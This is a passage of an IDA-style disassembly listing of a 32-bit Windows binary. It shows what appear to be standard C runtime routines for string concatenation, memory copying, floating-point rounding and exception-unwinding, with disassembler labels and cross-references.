push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41CBAE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41CBBB
; ---------------------------------------------------------------------------
loc_41CBAE: ; CODE XREF: sub_41CB70+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj
mov eax, esi
pop esi
leave
retn
sub_41CB70 endp
; =============== S U B R O U T I N E =======================================
sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p
; sub_40B90E+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CC74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41CBEA
loc_41CBDB: ; CODE XREF: sub_41CBC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CC1B
test edi, 3
jnz short loc_41CBDB
loc_41CBEA: ; CODE XREF: sub_41CBC0+19j
; sub_41CBC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41CBEA
mov eax, [edi-4]
test al, al
jz short loc_41CC28
test ah, ah
jz short loc_41CC23
test eax, 0FF0000h
jz short loc_41CC1E
test eax, 0FF000000h
jnz short loc_41CBEA
loc_41CC1B: ; CODE XREF: sub_41CBC0+20j
dec edi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC1E: ; CODE XREF: sub_41CBC0+52j
sub edi, 2
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj
sub edi, 3
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC28: ; CODE XREF: sub_41CBC0+47j
sub edi, 4
loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj
; sub_41CBC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
jmp short loc_41CC5C
; ---------------------------------------------------------------------------
loc_41CC40: ; CODE XREF: sub_41CBC0+75j
; sub_41CBC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CC7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CC70
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej
; sub_41CBC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CC70
loc_41CC63: ; CODE XREF: sub_41CBC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CC72
dec ecx
jnz short loc_41CC63
loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj
; sub_41CBC0+A1j
mov [edi], cl
loc_41CC72: ; CODE XREF: sub_41CBC0+ABj
pop ebx
pop esi
loc_41CC74: ; CODE XREF: sub_41CBC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC7A: ; CODE XREF: sub_41CBC0+85j
; sub_41CBC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC84: ; CODE XREF: sub_41CBC0+E4j
; sub_41CBC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CC5C
loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj
; sub_41CBC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CC84
test dl, dl
jz short loc_41CC7A
test dh, dh
jz short loc_41CCD8
test edx, 0FF0000h
jz short loc_41CCC8
test edx, 0FF000000h
jnz short loc_41CC84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41CBC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE3 proc near ; CODE XREF: ___:0040B062p
; sub_40C2AF+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B9C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420DB0
add esp, 10h
leave
retn
sub_41CCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p
; sub_40B13C+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CD40
cmp edi, eax
jb loc_41CEB8
loc_41CD40: ; CODE XREF: sub_41CD20+16j
test edi, 3
jnz short loc_41CD5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
loc_41CD5C: ; CODE XREF: sub_41CD20+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CD74
and eax, 3
add ecx, eax
jmp dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD20+46j
jmp dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD7C: ; CODE XREF: sub_41CD20+31j
; sub_41CD20+8Ej ...
jmp off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0CDh, 41h, 0
dd offset loc_41CDBC
dd offset loc_41CDE0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CDBC: ; DATA XREF: sub_41CD20+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CDE0: ; DATA XREF: sub_41CD20+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr
dd offset loc_41CE4C
dd offset loc_41CE44
dd offset loc_41CE3C
dd offset loc_41CE34
dd offset loc_41CE2C
dd offset loc_41CE24
dd offset loc_41CE1C
; ---------------------------------------------------------------------------
loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20:off_41CDFCo
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r
; sub_41CD20+92r ...
dd offset loc_41CE80
dd offset loc_41CE8C
dd offset loc_41CEA0
; ---------------------------------------------------------------------------
loc_41CE78: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE80: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE8C: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CEA0: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CEEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j
; sub_41CD20+208j ...
neg ecx
jmp off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CF04
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CF04: ; CODE XREF: sub_41CD20+1D6j
; DATA XREF: sub_41CD20+1DDr
jmp off_41D000[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
cmp bh, cl
inc ecx
add [eax-31h], ah
inc ecx
loc_41CF17: ; DATA XREF: sub_41CD20+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CFB4
dd offset loc_41CFBC
dd offset loc_41CFC4
dd offset loc_41CFCC
dd offset loc_41CFD4
dd offset loc_41CFDC
dd offset loc_41CFE4
off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------
loc_41CFB4: ; DATA XREF: sub_41CD20+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CFBC: ; DATA XREF: sub_41CD20+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CFC4: ; DATA XREF: sub_41CD20+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CFCC: ; DATA XREF: sub_41CD20+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CFD4: ; DATA XREF: sub_41CD20+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CFDC: ; DATA XREF: sub_41CD20+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CFE4: ; DATA XREF: sub_41CD20+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j
; DATA XREF: sub_41CD20:off_41CFB0o
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r
; sub_41CD20:loc_41CF04r ...
dd offset loc_41D018
dd offset loc_41D028
dd offset loc_41D03C
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D028: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D03C: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CD20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D055(double)
sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE10
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D0DB
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D0BE
cmp eax, 2
jle short loc_41D0B0
cmp eax, 3
jnz short loc_41D0BE
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421861
add esp, 10h
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0B0: ; CODE XREF: sub_41D055+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0BE: ; CODE XREF: sub_41D055+3Aj
; sub_41D055+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41D118
; ---------------------------------------------------------------------------
loc_41D0DB: ; CODE XREF: sub_41D055+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D0FE
loc_41D0F0: ; CODE XREF: sub_41D055+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0FE: ; CODE XREF: sub_41D055+99j
test bl, 20h
jnz short loc_41D0F0
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41D118: ; CODE XREF: sub_41D055+84j
call sub_4218B4
add esp, 1Ch
loc_41D120: ; CODE XREF: sub_41D055+59j
; sub_41D055+67j ...
pop esi
pop ebx
leave
retn
sub_41D055 endp
; =============== S U B R O U T I N E =======================================
sub_41D124 proc near ; CODE XREF: ___:0041C16Dp
; sub_422152+21p
; DATA XREF: ...
call sub_41D13C
call sub_422152
mov dword_4DBE30, eax
call sub_422102
fnclex
retn
sub_41D124 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D13C proc near ; CODE XREF: sub_41D124p
mov eax, offset sub_422540
mov off_43D424, offset sub_4221D5
mov off_43D420, eax
mov off_43D428, offset sub_42223B
mov off_43D42C, offset sub_42217B
mov off_43D430, offset sub_422223
mov off_43D434, eax
retn
sub_41D13C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp
; sub_40D2F4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41D174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D19B(double)
sub_41D19B proc near ; CODE XREF: sub_40D340+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE28
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D221
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D204
cmp eax, 2
jle short loc_41D1F6
cmp eax, 3
jnz short loc_41D204
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421861
add esp, 10h
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D204: ; CODE XREF: sub_41D19B+3Aj
; sub_41D19B+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D221: ; CODE XREF: sub_41D19B+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D244
loc_41D236: ; CODE XREF: sub_41D19B+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D19B+99j
test bl, 20h
jnz short loc_41D236
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D25E: ; CODE XREF: sub_41D19B+84j
call sub_4218B4
add esp, 1Ch
loc_41D266: ; CODE XREF: sub_41D19B+59j
; sub_41D19B+67j ...
pop esi
pop ebx
leave
retn
sub_41D19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D26A proc near ; CODE XREF: ___:00422A22p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D26A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D29E proc near ; CODE XREF: sub_422B62+199p
; sub_422D26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D29E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp
; sub_4229B1:loc_4229E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D2D4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426356
sub_41D2AC endp
; ---------------------------------------------------------------------------
loc_41D2D4: ; DATA XREF: sub_41D2AC+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41D2FB: ; CODE XREF: ___:00426AACj
; ___:00426AC9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4225B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D331 proc near ; CODE XREF: sub_422A2C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D385
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422DB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D385 proc near ; DATA XREF: sub_41D331+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
pop ebp
retn
sub_41D385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D45E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D430
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBE70
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D430: ; DATA XREF: sub_41D3AA+3Co
cmp [ebp+var_4], 0
jz short loc_41D44D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D456
; ---------------------------------------------------------------------------
loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D456: ; CODE XREF: sub_41D3AA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D481
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D4CE
; ---------------------------------------------------------------------------
loc_41D481: ; CODE XREF: sub_41D45E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D4BF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D2AC
; ---------------------------------------------------------------------------
loc_41D4BF: ; CODE XREF: sub_41D45E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D4CE: ; CODE XREF: sub_41D45E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D45E endp
; =============== S U B R O U T I N E =======================================
